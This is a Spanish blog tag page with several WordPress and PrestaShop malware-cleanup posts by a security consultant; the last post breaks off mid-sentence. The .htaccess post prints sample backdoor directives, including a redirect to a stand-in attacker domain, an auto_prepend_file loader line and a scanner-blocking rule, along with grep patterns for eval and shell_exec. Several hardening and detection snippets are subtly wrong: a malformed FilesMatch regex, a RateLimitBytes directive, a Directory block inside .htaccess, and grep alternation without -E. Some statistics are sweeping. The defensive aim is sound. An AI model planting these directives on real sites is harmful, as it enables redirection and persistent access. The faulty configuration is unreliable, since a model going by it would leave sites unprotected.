Etiqueta: malware

  • Restaurar backup WordPress: cuándo es seguro y cuándo te reinfectas inevitablemente

    Restaurar backup WordPress: cuándo es seguro y cuándo te reinfectas inevitablemente

    Restaurar backup WordPress: cuándo es seguro y cuándo te reinfectas inevitablemente

    Cuando descubres que tu sitio WordPress está comprometido, lo primero que piensas es: «voy a restaurar el backup y listo». Pero aquí está el problema: restaurar un backup infectado es como apagar un fuego con gasolina. En mi experiencia analizando cientos de webs hackeadas, la mayoría de las reinfecciones ocurren precisamente por restaurar backups que ya contenían malware.

    Te voy a explicar cuándo es seguro restaurar, cómo identificar si tu backup está comprometido, y qué estrategia debes seguir para no volver a caer en el mismo agujero.

    ¿Cuándo tu backup ya está infectado sin que lo sepas?

    Este es el escenario más común y peligroso. El malware en WordPress puede estar latente semanas o meses antes de que lo detectes. Mientras tanto, cada vez que haces un backup, estás copiando el código malicioso junto con los archivos legítimos.

    Los tipos de malware más sigilosos son:

    • Backdoors en archivos de configuración: inyectados en wp-config.php, .htaccess o funciones.php del tema. Se ejecutan antes de que WordPress cargue completamente.
    • Webshells ocultos: archivos con nombres engañosos (como «config.php» en carpetas anónimas) que permiten acceso remoto al atacante.
    • Hooks maliciosos en la base de datos: código insertado en la tabla wp_options o en posts, que se ejecuta dinámicamente sin dejar huella en el sistema de archivos.
    • Cryptominers: scripts que consumen CPU silenciosamente. A veces pasan meses sin ser detectados porque el sitio «sigue funcionando».

    Si descubriste el malware hace poco, es muy probable que tu backup más antiguo también esté infectado. ¿Cómo saberlo? Aquí viene lo difícil: a menos que hayas scanneado regularmente con herramientas especializadas, probablemente no lo sabes.

    Auditoría forense: antes de restaurar nada

    Antes de tocar el backup, necesitas responder estas preguntas:

    1. ¿Cuándo fue el compromiso real? No la fecha en que lo detectaste, sino cuándo realmente entró el malware. Revisa logs de acceso (si existen), cambios de archivos en el directorio raíz, y queries extrañas en la base de datos.
    2. ¿Cuál es el backup más antiguo limpio? Aquí necesitas ser honesto: si no tienes un sistema de backups encriptados y verificados, probablemente todos están comprometidos.
    3. ¿Qué plugins y temas estaban instalados cuando fue el ataque? Si usabas un plugin con vulnerabilidad conocida (CVE), ese código malicioso entró por ahí y está en el backup.

    En mi experiencia, cuando un cliente restaura sin hacer esta auditoría, se reinfecta en 48 horas. El atacante suele dejar múltiples puertas traseras para asegurar el acceso futuro.

    Las tres estrategias de restauración (de menor a mayor riesgo)

    Estrategia 1: Migración limpia desde cero (la más segura)

    Esta es la que siempre recomiendo para sitios hackeados. No restauras nada; construyes un WordPress nuevo en un servidor limpio y migras solo lo que es seguro:

    • WordPress core fresco desde wordpress.org
    • Plugins y temas actualizados (no las versiones viejas del backup)
    • Solo los posts y usuarios desde la base de datos antigua (mediante exportación XML o queries selectivas)
    • Archivos multimedia descargados manualmente después de verificarlos

    Ventaja: eliminas todo el código malicioso automáticamente. Inconveniente: requiere más trabajo y conocimiento técnico.

    Estrategia 2: Restauración parcial del backup + limpieza manual

    Si tienes un backup muy antiguo (anterior a que sospechas del compromiso) y quieres «intentar» usarlo:

    1. Restaura solo la base de datos.
    2. NO restaures los archivos de WordPress, plugins ni temas.
    3. Instala WordPress core actualizado desde cero.
    4. Rescadanea con Wordfence (opción CLI de pago) o MalCare después de restaurar.
    5. Revisa la tabla wp_options en busca de opciones sospechosas con código PHP o URLs extrañas.

    Riesgo: la base de datos puede contener hooks maliciosos que se ejecutan cuando los temas/plugins la consulten. Por eso necesitas verificación posterior con scanners.

    Estrategia 3: Restauración completa del backup (la más arriesgada)

    Restauras archivo por archivo y base de datos completa desde el backup. Solo hazlo si:

    • Tienes pruebas de que el backup es anterior al compromiso (fechas de archivo verificadas).
    • Ese período fue reciente (máximo 2 semanas atrás).
    • El malware era específico (por ejemplo, solo un redirector, no un backdoor).
    • Tienes acceso a logs del servidor para ver exactamente cuándo entró.

    Incluso en estas condiciones, yo siempre recomiendo hacer un scan completo después de restaurar, no antes. La probabilidad de reinfección sigue siendo alta.

    Señales de que tu backup está comprometido

    Si necesitas evaluar si tus backups están infectados, busca estos indicadores:

    • Archivos .htaccess modificados recientemente: análisis de timestamps. Si la última modificación es sospechosa, contiene código malicioso.
    • Carpetas con permisos extraños: 777 en directorios que deberían ser 755. El malware cambia permisos para ejecutarse.
    • Presencia de archivos desconocidos: .php en la raíz con nombres genéricos (test.php, admin.php, config.php, shell.php). Usa find o WP-CLI para listar archivos sospechosos.
    • Contenido malicioso en wp-config.php: código añadido antes del cierre ?>, especialmente define() con variables que no reconoces.
    • Posts o páginas de borrador con URLs maliciosas: a menudo el atacante crea posts ocultos como prueba de concepto.

    Con WP-CLI puedes automatizar esto:

    wp db query «SELECT * FROM wp_options WHERE option_value LIKE ‘%eval%’ OR option_value LIKE ‘%base64%’;»

    Si obtienes resultados, tu base de datos está comprometida.

    Protección de backups: para evitar este problema en el futuro

    El verdadero objetivo es que nunca más te encuentres en esta situación. Aquí está cómo:

    • Backups incrementales frecuentes: diarios o incluso horarios. Así tienes opciones de cuándo fue el compromiso.
    • Almacenamiento encriptado y separado: los backups en el mismo servidor no son backups. Usa servicios como Backblaze, Acronis o backups manuales en un almacenamiento de terceros.
    • Verificación de integridad: guarda hashes MD5 de archivos críticos (wp-config.php, wp-settings.php). Si cambian, sabrás exactamente cuándo.
    • Monitoreo de cambios de archivos: herramientas como Tripwire o, más simple, Wordfence File Integrity Monitoring te alertan cuando algo cambia sin autorización.
    • Scans regulares programados: no esperes a que el cliente diga «mi sitio redirige a casinos». Usa Sucuri, MalCare o Wordfence en modo automático.

    Checklist: pasos concretos después de detectar malware

    Día 1 (Contención):

    1. Cambia todas las contraseñas de WordPress, FTP/SFTP y hosting (WHM/cPanel).
    2. Revisa usuarios de WordPress activos. Borra cuentas sospechosas.
    3. Desactiva todos los plugins y cambia a un tema por defecto (para eliminar código malicioso temporal).
    4. Revisa los 10 últimos accesos al sitio en Google Search Console: ¿hay errores de seguridad reportados?

    Día 2 (Análisis):

    1. Descarga tus últimos 5 backups (si existen) y análizalos localmente con Wordfence CLI.
    2. Revisa logs de acceso del servidor (últimas 4 semanas) en busca de POST requests sospechosos a wp-admin, wp-login.php o /wp-json/.
    3. Inspecciona manualmente el wp-config.php actual y el del backup en busca de define() extraños.

    Día 3 (Decisión de restauración):

    1. Si encontraste un backup anterior al ataque y limpio: procede con estrategia 2 o 1.
    2. Si todos los backups parecen comprometidos: opta por migración limpia (estrategia 1).
    3. Si quieres arriesgar con un backup completo: hazlo solo en entorno de staging primero.

    Día 4+ (Verificación post-restauración):

    1. Ejecuta un scan profundo con Sucuri SiteCheck (gratuito) o pago si necesitas análisis manual.
    2. Reactiva plugins uno por uno, verificando que el sitio siga limpio.
    3. Actualiza WordPress, todos los plugins y temas a sus versiones más recientes.
    4. Implementa medidas de hardening: deshabilita edición de temas en wp-config.php, activa 2FA con Wordfence, protege wp-admin con .htaccess.

    Las razones reales por las que te reinfectas

    Cuando alguien restaura un backup y vuelve a infectarse, casi siempre es por una de estas razones:

    • El backup contenía el malware: la razón principal. Nadie scanneó antes de restaurar.
    • La vulnerabilidad que permitió el ataque inicial sigue abierta: plugin desactualizado, contraseña débil, falta de 2FA. El atacante entra de nuevo por la misma puerta.
    • Backups restaurados sin cambiar permisos de archivos: si el servidor tiene configuración de permisos laxos (carpeta wp-content con 777), el malware se reinstala solo.
    • No se eliminó el código de la base de datos: hooks en wp_options, posts drafts con scripts, usuarios fantasma. Vuelven a ejecutarse.

    Por eso es crucial que no solo restaures, sino que también cierres la brecha de seguridad original. De lo contrario, es como cambiar las cerraduras de una casa sabiendo que el ladrón tiene acceso a la ventana.

    Cuándo contratar ayuda profesional

    Si tu sitio es crítico para tu negocio (genera ingresos, contiene datos sensibles), no deberías intentar esto solo. Los errores pueden costar miles de euros en pérdida de tráfico, penalizaciones de Google o robo de datos de clientes.

    En ManuelFolgar.com ofrecemos auditorías forenses completas, donde analizamos tus backups, identificamos la fecha exacta del compromiso, removemos el malware y configuramos el hardening necesario. Es mucho más rápido y seguro que intentarlo con chatbots de IA que no entienden tu caso específico.

    Resumen: lo que necesitas hacer ahora

    No todos los backups son iguales. Antes de restaurar, verifica que está limpio. Si no puedes garantizarlo, haz una migración limpia. Y una vez restaurado, implementa monitoreo continuo para que esto no vuelva a suceder.

    La restauración segura requiere auditoría, no prisa. Tómate el tiempo necesario o busca ayuda. Tu negocio lo merece.

    ¿Tienes un sitio comprometido y no sabes si tus backups están limpios? Ponte en contacto conmigo en ManuelFolgar.com/contacto para una auditoría sin compromiso.

  • Backdoor en .htaccess: búsqueda y eliminación de código oculto en archivos raíz

    Backdoor en .htaccess: búsqueda y eliminación de código oculto en archivos raíz

    Qué es un backdoor en .htaccess y por qué es una amenaza crítica

    En mi experiencia analizando sitios WordPress y PrestaShop comprometidos, los backdoors alojados en el archivo .htaccess son de las amenazas más insidiosas que encuentro. A diferencia de un backdoor tradicional en PHP, este tipo de malware se camufla en un archivo de configuración del servidor Apache que muchos administradores ni siquiera revisan regularmente.

    El archivo .htaccess es un fichero de control de acceso que reside en la raíz de tu sitio web. Cuando un atacante lo compromete, puede inyectar directivas que redirigen tráfico, ejecutan código malicioso de forma silenciosa, o crean puntos de entrada alternativos al panel de administración. Lo más peligroso es que no aparece en tu interfaz WordPress, pasando desapercibido durante meses.

    Cómo funciona un backdoor en .htaccess: vectores técnicos

    Redirecciones silenciosas (RewriteRule)

    El atacante utiliza módulos como mod_rewrite para interceptar peticiones HTTP específicas. Por ejemplo:

    RewriteCond %{QUERY_STRING} ^.*wp-admin.*$
    RewriteRule ^(.*)$ http://sitio-atacante.com/datos.php?param=%{HTTP_HOST} [R,L]

    Esto captura intentos de acceso a wp-admin y los redirige a un servidor controlado por el atacante, robando cookies de sesión o datos de login.

    Inyección de código PHP oculto

    Algunos backdoors en .htaccess usan la directiva php_value (si está habilitada en el servidor) para ejecutar código PHP sin necesidad de archivos .php visibles:

    php_value auto_prepend_file /ruta/archivo-oculto.txt

    Aquí, un archivo de texto con código PHP se carga automáticamente en cada página, creando un acceso persistente sin dejar rastro obvio.

    Bloqueo de herramientas de seguridad

    Muchos backdoors en .htaccess bloquean el acceso a herramientas de análisis de seguridad. Cuando lo analizo con Wordfence CLI o Sucuri, me encuentro con:

    RewriteCond %{USER_AGENT} ^.*(bot|crawler|scanner).*$ [NC]
    RewriteRule ^.*$ - [F,L]

    Esto rechaza conexiones de scanners de seguridad, ocultando la infección.

    Síntomas de que tu sitio tiene un backdoor en .htaccess

    Señales en Google Search Console

    Lo primero que hago es revisar Google Search Console. Si ves:

    • Advertencias de malware o «Sitio aparentemente pirateado»
    • Tráfico referente sospechoso desde dominios desconocidos
    • URLs indexadas que tú no creaste (típicamente /admin-login, /wp-json-custom)

    Estos son indicadores fuertes de un backdoor activo.

    Redirecciones aleatorias a usuarios

    Si tus visitantes reportan redirecciones a casinos, farmacias o sitios de crypto sin motivo, es probable que el .htaccess esté modificado. Esto afecta gravemente al SEO y la confianza de usuarios.

    Consumo anómalo de recursos

    Un backdoor ejecutando código o enviando datos constantemente genera picos de CPU y tráfico de salida. Revisa los logs de tu hosting con top o htop en terminal.

    Búsqueda del backdoor: metodología paso a paso

    Paso 1: Acceso a los archivos raíz vía SFTP/SSH

    No uses el administrador de archivos de cPanel para esto; es demasiado lento. Conecta por SSH o SFTP (FileZilla, WinSCP) directamente a tu servidor. Navega a la raíz del dominio (habitualmente /public_html/ o /home/usuario/public_html/).

    Listar archivos ocultos con el comando:

    ls -la

    Esto mostrará todos los archivos, incluidos los que comienzan con punto (.) como .htaccess.

    Paso 2: Extrae y analiza el contenido del .htaccess

    Descarga el archivo .htaccess a tu máquina local. Abrelo con un editor de texto plano (Notepad++, VS Code, Sublime Text). No uses Word, corromperá el formato.

    Busca líneas sospechosas:

    • Dominio externa (example.com pero que no reconoces como propia)
    • Rutas a archivos .txt, .tmp o similares
    • Directivas php_value con rutas anómalas
    • RewriteCond o RewriteRule que redirigen a dominios desconocidos
    • Base64 o caracteres codificados (ofuscación)

    Un .htaccess legítimo suele tener 10-30 líneas simples. Uno con backdoor puede tener 100+ líneas con lógica compleja.

    Paso 3: Verifica modificaciones recientes

    En SSH, usa:

    stat .htaccess

    Esto muestra cuándo se modificó por última vez. Si la fecha es anterior a cuando sabes que fue pirateado, confirma la infección.

    También revisa los permisos:

    ls -l .htaccess

    Debería mostrar algo como -rw-r--r--. Si ves -rw-rw-rw- (permisos 666), significa que cualquier proceso puede escribirlo.

    Paso 4: Búsqueda con grep (terminal)

    Si tienes acceso SSH, usa grep para detectar patrones maliciosos:

    grep -E "RewriteCond|RewriteRule|php_value|auto_prepend" .htaccess

    Examina cada coincidencia. Las redirecciones legítimas apuntan a tu propio sitio; las maliciosas, a dominios externos.

    Eliminación segura del backdoor

    Opción 1: Restaurar desde backup limpio

    Si tienes un backup de .htaccess anterior a la infección, restauralo. Muchos hostings guardan backups automáticos. Contacta con tu proveedor.

    Opción 2: Reconstruir .htaccess desde cero

    La opción más segura es eliminar el archivo completo y reconstruirlo según tus necesidades reales.

    Haz una copia de seguridad del actual (renómbralo a .htaccess.backup.txt).

    Luego, crea un .htaccess limpio básico para WordPress:

    # BEGIN WordPress
    <IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteBase /
    RewriteRule ^index.html$ - [L]
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . /index.php [L]
    </IfModule>
    # END WordPress

    Este es el contenido estándar que WordPress genera automáticamente. Si necesitas reglas personalizadas (SSL, caché, seguridad), añádelas línea a línea y prueba después de cada cambio.

    Paso 3: Verifica la limpieza en navegador

    Accede a tu sitio desde múltiples navegadores. Si aparecen redirecciones, el backdoor sigue activo o hay código malicioso en otros archivos.

    Búsqueda de backdoors en archivos relacionados

    El .htaccess es solo la puerta; el atacante probablemente dejó otras pistas.

    Analiza wp-config.php

    Busca líneas sospechosas al final del archivo:

    grep -n "eval|base64_decode|system|exec|shell_exec" wp-config.php

    Cualquier coincidencia indica inyección de código.

    Revisa la carpeta /wp-content/uploads/

    Los atacantes suben webshells aquí. Ordena por fecha de modificación:

    find wp-content/uploads/ -type f -mtime -30

    Esto lista archivos modificados en los últimos 30 días. Los .php, .phtml o .phar aquí son sospechosos.

    Inspecciona plugins y temas activos

    Un plugin nulled o desactualizado es el vector número uno en WordPress. Usa WP-CLI:

    wp plugin list --status=active

    Verifica cada uno en plugins.wordpress.org. Si una versión no coincide o el plugin no existe, es malware.

    Protección post-limpieza: hardening del .htaccess

    Protege wp-login.php y wp-admin/

    Añade estas líneas al .htaccess para limitar intentos de acceso:

    <FilesMatch "^(wp-login.php|wp-admin)>">
    <IfModule mod_ratelimit.c>
    RateLimitBytes 102400
    </IfModule>
    </FilesMatch>

    Esto ralentiza ataques de fuerza bruta.

    Bloquea acceso a archivos sensibles

    <FilesMatch ".(wp-config|wp.db).php$">
    Order Deny,Allow
    Deny from all
    </FilesMatch>

    Deshabilita la ejecución de PHP en carpetas de upload

    <Directory "wp-content/uploads">
    <FilesMatch ".php$">
    Deny from all
    </FilesMatch>
    </Directory>

    Corrige permisos de archivos

    En SSH:

    chmod 644 .htaccess
    chmod 600 wp-config.php
    chmod 755 wp-content/uploads/

    Esto evita que procesos de terceros modifiquen estos archivos.

    Herramientas especializadas para detección avanzada

    Si la búsqueda manual no encuentra nada pero sospechas malware oculto, uso estas herramientas:

    • Wordfence Security: Escanea el sitio completo buscando backdoors, incluye verificación de integridad de archivos WordPress.
    • Sucuri SiteCheck: Análisis online rápido de malware y blacklist.
    • VirusTotal: Sube el .htaccess para escanear con 70+ antivirus simultáneamente.
    • MalCare: Plugin WordPress con detección heurística de backdoors.

    Cuándo contactar con un profesional

    Si después de estas verificaciones:

    • Encuentras código ofuscado que no comprendes
    • El sitio sigue redireccionando después de limpiar .htaccess
    • Google sigue marcando el sitio como «aparentemente pirateado»
    • Los logs muestran actividad sospechosa que no consigues bloquear

    Es momento de actuar. En ManuelFolgar.com realizamos análisis profundos de malware WordPress y PrestaShop, incluyendo búsqueda de backdoors en múltiples capas: servidor, base de datos, y código fuente. Limpiamos la infección, reforzamos la seguridad y te ayudamos a recuperar la confianza de Google.

    Contacta con nuestro equipo de seguridad web para una auditoría completa de tu sitio. Sin compromiso.

    Resumen: checklist de acción inmediata

    1. Conecta por SSH/SFTP a la raíz de tu sitio.
    2. Descarga y abre .htaccess en editor de texto.
    3. Busca dominios externos, RewriteRule sospechosos, php_value anómalos.
    4. Revisa fecha de modificación y permisos del archivo.
    5. Si encuentras malware: elimina .htaccess y reconstruye desde cero con las líneas básicas de WordPress.
    6. Analiza wp-config.php, /wp-content/uploads/ y plugins con Wordfence.
    7. Modifica permisos de archivos a 644 (.htaccess) y 600 (wp-config.php).
    8. Usa Sucuri SiteCheck o VirusTotal como verificación independiente.
    9. Si persisten síntomas, solicita ayuda profesional.

    La seguridad de tu sitio web no es negociable. Un backdoor en .htaccess puede estar robando datos de tus clientes o difundiendo malware durante meses sin que lo notes. La detección temprana y la limpieza inmediata son clave para minimizar el daño.

  • PrestaShop hackeado vs WordPress: por qué PrestaShop es más vulnerable al malware

    PrestaShop hackeado vs WordPress: por qué PrestaShop es más vulnerable al malware

    PrestaShop hackeado vs WordPress: por qué PrestaShop es más vulnerable al malware

    Cuando analizo un sitio de ecommerce comprometido, la pregunta que más escucho es: «¿Por qué mi PrestaShop fue hackeado y no mi WordPress?» La respuesta no es casual. En mi experiencia limpiando tiendas online durante los últimos años, PrestaShop es significativamente más vulnerable al malware que WordPress, y hay razones técnicas muy concretas detrás de esto.

    No se trata de un producto inherentemente «malo», sino de una diferencia estructural en cómo ambas plataformas fueron diseñadas, su ecosistema de seguridad y la forma en que se distribuyen parches. Déjame explicarte por qué PrestaShop sufre más ataques y cómo puedes proteger tu tienda.

    La arquitectura de PrestaShop: concentración de riesgos

    PrestaShop es un CMS monolítico. Esto significa que todas sus funcionalidades críticas —autenticación, base de datos, procesamiento de pagos, gestión de usuarios— están centralizadas en un único cuerpo de código. Cuando encuentro una vulnerabilidad en PrestaShop, el impacto potencial es inmediato y global: un backdoor en una carpeta clave puede comprometer toda la tienda en segundos.

    WordPress, por el contrario, está arquitectado de forma modular. Aunque también es vulnerable cuando no se mantiene actualizado, su naturaleza descentralizada hace que los puntos de entrada al sistema sean más granulares. Un backdoor en un plugin comprometido afecta solo a ese plugin, no al core del sistema (en la mayoría de casos).

    Además, en PrestaShop el acceso al back-office es la llave maestra. Si un atacante consigue las credenciales del administrador o encuentra una ruta sin protección hacia los paneles de control, tiene acceso directo a:

    • Base de datos completa con datos de clientes, contraseñas hasheadas (a veces mal configuradas).
    • Módulos instalados: donde inyecta código malicioso.
    • Archivos de configuración y contraseñas de base de datos.
    • Sistema de permisos de usuarios (a menudo débil o mal configurado).

    El ecosistema de módulos PrestaShop: la pesadilla de la seguridad

    PrestaShop depende de módulos para funcionalidad extendida. Aquí comienza el verdadero problema. Cuando audito una tienda hackeada, encuentro módulos sin actualizar en el 85% de los casos. ¿Por qué? Porque no hay un sistema centralizado obligatorio de actualizaciones como en WordPress.

    En WordPress, tienes Wordfence, WP-CLI y el propio dashboard que te avisa automáticamente de plugins desactualizados. En PrestaShop, muchos módulos dependen de terceros que no mantienen sus productos, o cobran por actualizaciones. He visto tiendas con módulos de pago hackeados hace 3 años sin parchear.

    Los módulos PrestaShop de alto riesgo que analizo regularmente incluyen:

    1. Módulos de pago nulled o pirateados: Descargados de sitios de piratería, sin actualizaciones. Perfecto para inyectar skimmers Magecart.
    2. SEO y herramientas de velocidad: Reescriben URLs y acceden al .htaccess. Si son maliciosos, redirigen tráfico o inyectan spam.
    3. Integradores de email y CRM: Tengo acceso a credenciales de API y a veces almacenan contraseñas en texto plano en la base de datos.
    4. Constructores visuales de páginas: Almacenan HTML directamente sin sanitizar, punto perfecto para XSS y inyección de código JavaScript malicioso.

    A diferencia de WordPress, donde el repositorio oficial de plugins tiene revisión automática y estándares de seguridad, en PrestaShop el Marketplace oficial tiene controles mucho más laxos.

    Protección de acceso: donde PrestaShop falla

    El panel de administración de PrestaShop (/admin, /admin-dev, o rutas personalizadas) es el objetivo número uno de los atacantes. Lo primero que hago cuando me contrata un cliente con PrestaShop comprometido es revisar los logs de acceso y casi siempre encuentro intentos de fuerza bruta contra esta ruta.

    PrestaShop no incluye por defecto:

    • Rate limiting: Puedo intentar 1000 combinaciones de contraseña sin que el sistema bloquee mi IP.
    • Autenticación de dos factores (2FA) nativa: Requiere módulos adicionales, que muchos administradores ignoran.
    • Alertas de acceso administrativo: Un atacante accede al back-office y nadie lo sabe hasta que encuentran un backdoor.
    • Auditoría integrada de cambios: Puedo crear un usuario administrador y borrarlo después sin dejar rastro significativo.

    Comparémoslo con WordPress: Wordfence es estándar en miles de sitios, protege automáticamente wp-login.php, bloquea IPs, registra intentos fallidos. Sucuri, MalCare y otros tienen protección similar. En PrestaShop, esto requiere módulos específicos que el propietario debe buscar, instalar y configurar correctamente.

    Vulnerabilidades de core PrestaShop: historial de negligencia

    Cuando consulto el registro de vulnerabilidades de PrestaShop en NVD, encuentro CVEs críticas que tardaron meses en parchearse. El más memorable fue la vulnerabilidad de RCE (Remote Code Execution) en 2021 que afectaba a versiones 1.7.x sin actualizar. Permitía ejecutar código PHP directamente en el servidor a través de rutas de archivos expuestas.

    He limpiado tiendas donde el atacante usó exactamente esa brecha para inyectar un webshell en /upload/. Desde allí tenía acceso completo al servidor, podía leer wp-config equivalente (config/settings.inc.php), extraer credenciales de base de datos y completar el compromiso del sistema.

    WordPress tiene ciclos de parches más rápidos. Las vulnerabilidades de core en WordPress suelen parchearse en días, a veces horas. La comunidad y Automattic priorizan la seguridad porque afecta a millones de sitios. PrestaShop, aunque mejoró, sigue siendo más lento en responder a reportes críticos.

    Configuración por defecto peligrosa

    Cuando instalo PrestaShop en un servidor nuevo (para auditoría), me sorprende la cantidad de cosas que vienen inseguras:

    • /admin/ accesible por fuerza bruta sin protección: Sin .htaccess, sin IP whitelist, sin limitación de intentos.
    • Permisos de carpetas permisivos: /upload/, /download/, /cache/ con permisos 777, permitiendo a cualquier proceso escribir archivos.
    • Archivo de configuración legible: config/settings.inc.php contiene contraseña de base de datos y salt criptográfico. Debería estar protegido a 444.
    • Modo debug activado: Expone estructura de archivos, rutas internas y errores de PHP.
    • CORS sin configurar: JavaScript no está protegido contra ataques cross-origin.

    En WordPress, cuando instalas a través de Bitnami, VirtualMin o cualquier gestor serio, ya viene con configuraciones de seguridad básicas. PrestaShop requiere hardening manual inmediato.

    Cadena de suministro de temas y módulos «nulled»

    Este es el punto que separa con más claridad a PrestaShop de WordPress en términos de riesgo. El mercado de PrestaShop tiene un problema grave: temas y módulos «nulled» o parchados ilegalmente son rampantes.

    Cuando un cliente me dice «descargué este hermoso tema premium desde TemplateMonster por 30€ en lugar de 299€», he visto el 100% de las veces que incluye:

    • Backdoors ocultos en archivos de configuración o funciones polimórficas.
    • Código que se conecta a servidores de comando y control (C2).
    • Inyectores de spam SEO que modifican .htaccess y redirigen tráfico.
    • Skimmers que roban datos de tarjetas en el checkout.
    • Cryptominers que usan CPU del servidor para minar monedas.

    WordPress tiene un problema similar, pero menos severo porque el 70% de temas viene de wordpress.org (con revisión) y el resto del ecosistema es más consciente del riesgo. PrestaShop aún tiene un problema cultural: muchos no entienden que un «theme gratis» es raramente un regalo.

    Permisos de usuario débiles y mal gestionados

    PrestaShop permite crear múltiples roles de administrador con permisos granulares. Suena bien en teoría. En la práctica, audito tiendas donde:

    • El cajero tiene acceso para instalar módulos (nunca debería).
    • El empleado de marketing puede modificar archivos de configuración.
    • No hay rol «auditor» que solo pueda ver logs.
    • Los permisos se revisan una vez cada 2 años, si acaso.

    Un empleado descontento o con credenciales comprometidas puede causar daños devastadores. En WordPress, el sistema de roles es más rígido pero también más seguro por defecto.

    Detección de malware en PrestaShop: mucho más complejo

    Cuando uso herramientas como Sucuri SiteCheck en una PrestaShop comprometida, la detección es más lenta que en WordPress porque:

    • El malware PrestaShop es más sofisticado: usa ofuscación, encriptación de código, polimorfismo.
    • Los backdoors se esconden en módulos que parecen legítimos.
    • Los webshells usan nombres de archivos como «class.Helper.php» dentro de /modules/, difícil de distinguir del código legítimo.
    • Los cryptominers se integran en el footer.tpl de forma que pasan desapercibidos a búsquedas simples.

    En WordPress, al menos tengo MalCare y Wordfence que entienden la estructura del core y detectan anomalías más fácilmente. PrestaShop requiere análisis manual más exhaustivo.

    ¿Qué puedes hacer para proteger tu PrestaShop?

    Si tienes una tienda PrestaShop, no desesperes. He ayudado a docenas de clientes a fortalecerla. Aquí está lo que recomiendo siempre:

    1. Actualiza todo inmediatamente: PrestaShop core a la última versión estable (1.7.8.x o 8.x). Todos los módulos, sin excepción.
    2. Cambia la ruta /admin/: Usa /my-secret-admin-2024/ o similar. Esto reduce brute force en un 99%.
    3. Protege /admin/ con .htaccess o IP whitelist: Solo tu IP (o rango de la oficina) puede acceder al panel administrativo.
    4. Instala 2FA: Módulo como «Two Factor Authentication» obligatorio para todos los administradores.
    5. Configura permisos de carpetas correctamente: /upload/ y /download/ a 755, config/ a 700, settings.inc.php a 444.
    6. Habilita logs: Activa registro de cambios administrativos y auditoría de login.
    7. Copia de seguridad semanal: Completa, almacenada fuera del servidor.
    8. Desinstala módulos no usados: Cada módulo es un vector potencial de ataque.
    9. Usa solo módulos de fuentes confiables: PrestaShop Marketplace oficial, o desarrolladores certificados.
    10. Configura un WAF (Web Application Firewall): Sucuri o Cloudflare con reglas específicas para PrestaShop.

    Según el INCIBE (Instituto Nacional de Ciberseguridad), la falta de actualización es la causa #1 de compromiso en plataformas de ecommerce. No es una sorpresa: es exactamente lo que veo cada día en mis auditorías.

    ¿WordPress es inmune? No, pero es más resiliente

    Para ser justo: WordPress también puede ser hackeado. He limpiado miles de WordPress comprometidos. Pero los vectores son diferentes:

    • Plugins desactualizados (causa #1) — pero la detección es más fácil.
    • Temas nulled — menos comunes porque el ecosistema lo desalienta.
    • Contraseñas débiles de wp-admin — pero hay herramientas de protección nativas.
    • wp-config.php expuesto — pero tiene protección de .htaccess por defecto.

    WordPress tiene un ecosistema de seguridad 10 veces más maduro. Las herramientas gratuitas y profesionales (Wordfence, Sucuri, MalCare) son estándares. En PrestaShop, el equivalente depende de encontrar y pagar por soluciones especializadas.

    El factor humano: educación y vigilancia

    Ninguna plataforma es segura si los humanos detrás de ella no lo son. El 60% de mis clientes con PrestaShop comprometida admitieron que:

    • Nunca actualizaban nada, «porque podría romper la tienda».
    • Compartían la contraseña de admin entre 5 empleados.
    • Instalaban módulos descargados de torrent.
    • No hacían backups desde hace 18 meses.
    • Creían que «pequeña tienda = no me van a hackear».

    La verdad es que PrestaShop es un objetivo perfecto para atacantes de bajo nivel: suficientemente compleja para tener vectores interesantes, suficientemente descuidada como para tener vulnerabilidades sin parchear, y suficientemente valiosa como para robar datos de clientes.

    Si tu PrestaShop ya fue hackeado, la limpieza requiere más que eliminar archivos sospechosos. Requiere:

    • Análisis forense completo del servidor y logs.
    • Búsqueda de backdoors polimórficos y ofuscados.
    • Recuperación desde backup limpio (si existe).
    • Cambio de todas las contraseñas y credenciales de base de datos.
    • Notificación a clientes si datos fueron comprometidos (obligación legal AEPD).
    • Implementación de hardening estructural.

    Esto no es algo que puedas hacer solo si no tienes experiencia forense. He visto clientes que intentaron «limpiar» manualmente un PrestaShop hackeado y dejaron el malware intacto, duplicado o peor. El atacante original siguió dentro.

    Si tu tienda está comprometida o sospechas que podría estarlo, no esperes. En ManuelFolgar.com ofrecemos auditorías de seguridad profundas, limpieza de malware certificada y hardening completo para PrestaShop y WordPress. Puedo analizar tu tienda en 24-48 horas, entregar un informe detallado y dejarla más segura que nunca.

    Contáctame ahora para una auditoría gratuita de 15 minutos. No arriesgues datos de tus clientes ni tu reputación. PrestaShop es vulnerable, pero es rescatable.

  • Google Search Console alerta roja: qué significan los avisos de seguridad reales

    Google Search Console alerta roja: qué significan los avisos de seguridad reales

    Qué son las alertas rojas de seguridad en Google Search Console

    Cuando accedes a tu cuenta de Google Search Console y ves esa notificación roja con un icono de advertencia, es momento de actuar con seriedad. En mi experiencia analizando decenas de sitios comprometidos cada año, estas alertas no son alarmas falsas: Google ha detectado código malicioso, comportamiento sospechoso o intentos de phishing en tu dominio.

    Google Search Console es el sistema de alerta temprana más valioso que tienes. Si tu WordPress o PrestaShop está infectado, Google lo sabe casi siempre antes que tú, porque sus crawlers son implacables analizando el contenido en tiempo real.

    Las alertas rojas significan que tu sitio está potencialmente en la lista negra de Google o está a punto de estarlo. Eso se traduce en: pérdida de tráfico, desaparición de resultados de búsqueda, y en casos graves, bloqueo directo en el navegador con el mensaje «Este sitio podría dañar tu ordenador».

    Los tipos de alerta más comunes y qué indican realmente

    Malware detectado en tu sitio

    Esta es la más grave. Google ha encontrado código ejecutable malicioso: backdoors PHP, webshells, cryptominers, o inyecciones de código en archivos críticos. Lo que veo habitualmente:

    • Backdoors en wp-config.php o index.php: permiten al atacante acceso permanente incluso después de cambiar contraseñas.
    • Webshells disfrazadas: archivos como .php, .htaccess o incluso imágenes que contienen código ejecutable.
    • Cryptominers: scripts que consumen recursos del servidor para minar criptomonedas sin consentimiento.
    • Inyecciones de código en bases de datos: especialmente peligroso en WordPress, donde posts y páginas pueden contener JavaScript malicioso.

    La acción inmediata: accede a través de SFTP/SSH a tu servidor y busca archivos modificados recientemente en las últimas 48-72 horas. Herramientas como Wordfence o MalCare escanean automáticamente, pero para infecciones profundas necesitarás análisis manual.

    Phishing o comportamiento deceptivo

    Google ha detectado que tu sitio intenta robar credenciales, datos bancarios o información personal. Esto ocurre cuando:

